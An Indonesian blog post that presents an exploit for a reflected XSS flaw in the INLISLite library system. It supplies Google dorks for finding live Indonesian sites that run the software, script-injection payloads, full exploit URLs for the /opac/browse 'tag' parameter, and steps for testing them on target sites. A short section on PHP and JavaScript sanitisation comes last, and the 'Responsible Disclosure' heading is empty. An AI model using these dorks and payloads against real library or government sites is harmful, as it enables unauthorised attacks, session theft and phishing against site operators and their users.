Gambar 1: Aplikasi INLISLite - Sistem Otomasi Perpustakaan
Pengenalan INLISLite
Halo semuanya, dalam postingan ini saya akan membagikan exploit untuk website yang menggunakan aplikasi INLISLite. Sebenarnya kerentanan ini sudah pernah ramai sebelumnya, namun karena masih lumayan banyak yang memakai aplikasi ini, jadi saya tulis saja disini.
INLIS (Integrated Library System) Lite adalah perangkat lunak aplikasi otomasi perpustakaan yang dibangun dan dikembangkan oleh Perpustakaan Nasional sejak tahun 2011. INLISLite dikembangkan sebagai perangkat lunak satu pintu bagi pengelola perpustakaan untuk menerapkan otomasi perpustakaan.
Identifikasi Target
Google Dork untuk Mencari Target
Gunakan query berikut untuk menemukan website yang menggunakan INLISLite:
inlis site:.id
"INLISLite" site:.id
"Online Public Access Catalog" site:.id
inlislite.opac site:.id
Vulnerability Analysis
Parameter yang Vulnerable
Kerentanan XSS terdapat pada endpoint /opac/browse dengan parameter tag yang tidak melakukan sanitization input dengan benar.
Struktur URL Vulnerable
/opac/browse?action=browse&tag=&findBy=&query=&query2=
Proof of Concept
Payload XSS Basic
<img src=x onerror=alert('XSSTEST');>
<script>alert(document.domain)</script>
<svg onload=alert('XSS')>
URL Exploit Lengkap
https://target-domain.com/opac/browse?action=browse&tag=<img src=x onerror=alert('XSSTEST');>&findBy=&query=&query2=
URL Encoded Version
https://target-domain.com/opac/browse?action=browse&tag=%3Cimg%20src=x%20onerror=alert('XSSTEST');%3E&findBy=&query=&query2=
Contoh Implementasi
https://inlis.example.go.id/opac/browse?action=browse&tag=<payload>&findBy=&query=&query2=
Testing Steps:
- Buka website target yang menggunakan INLISLite
- Navigasi ke halaman
/opac/browse - Tambahkan payload XSS pada parameter
tag - Submit request dan lihat hasilnya
Impact & Risk Assessment
| Risk Level | Impact | Keterangan |
|---|---|---|
| Medium | Session Hijacking | Penyerang dapat mencuri session cookies |
| Low | Defacement | Mengubah tampilan halaman sementara |
| Medium | Phishing | Menampilkan form login palsu |
| Low | Annoyance | Alert box mengganggu pengguna |
Mitigation & Solution
PHP Solution:
// Input Validation dan Sanitization
$tag = filter_input(INPUT_GET, 'tag', FILTER_SANITIZE_STRING);
$tag = htmlspecialchars($tag, ENT_QUOTES, 'UTF-8');
// Atau menggunakan library khusus
$tag = $purifier->purify($_GET['tag']);
JavaScript Solution (Client-side):
function sanitizeHTML(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// Usage
const safeTag = sanitizeHTML(getParameter('tag'));
Responsible Disclosure
Kesimpulan
Kerentanan XSS pada INLISLite menunjukkan pentingnya implementasi input validation dan output encoding yang konsisten pada semua parameter user input. Meskipun terlihat sederhana, kerentanan seperti ini dapat berdampak serius jika dieksploitasi dengan tepat.
Terima kasih kepada kalian semua yang sudah membaca artikel ini. Semoga bermanfaat untuk learning purpose!